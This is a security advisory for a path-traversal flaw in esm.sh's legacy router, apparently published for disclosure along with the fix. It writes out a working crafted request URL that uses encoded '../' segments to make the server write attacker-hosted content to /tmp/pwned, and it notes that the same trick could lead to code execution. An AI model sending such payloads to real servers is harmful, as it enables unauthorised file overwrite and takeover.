Impact

• Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
• Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

1. URL Construction
   A crafted request is sent to the server:

   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
   

2. Proxy to Legacy Server
   The request is forwarded to:

   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
   

   which resolves to:

   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
   

3. File Retrieval
   The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

4. Path Normalisation & Storage
   The storage path derived from the request is:

   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
   

   Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

5. Result
   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

References

• GHSA-3636-h3vx-6465
• https://github.com/esm-dev/esm.sh/releases/tag/v137_3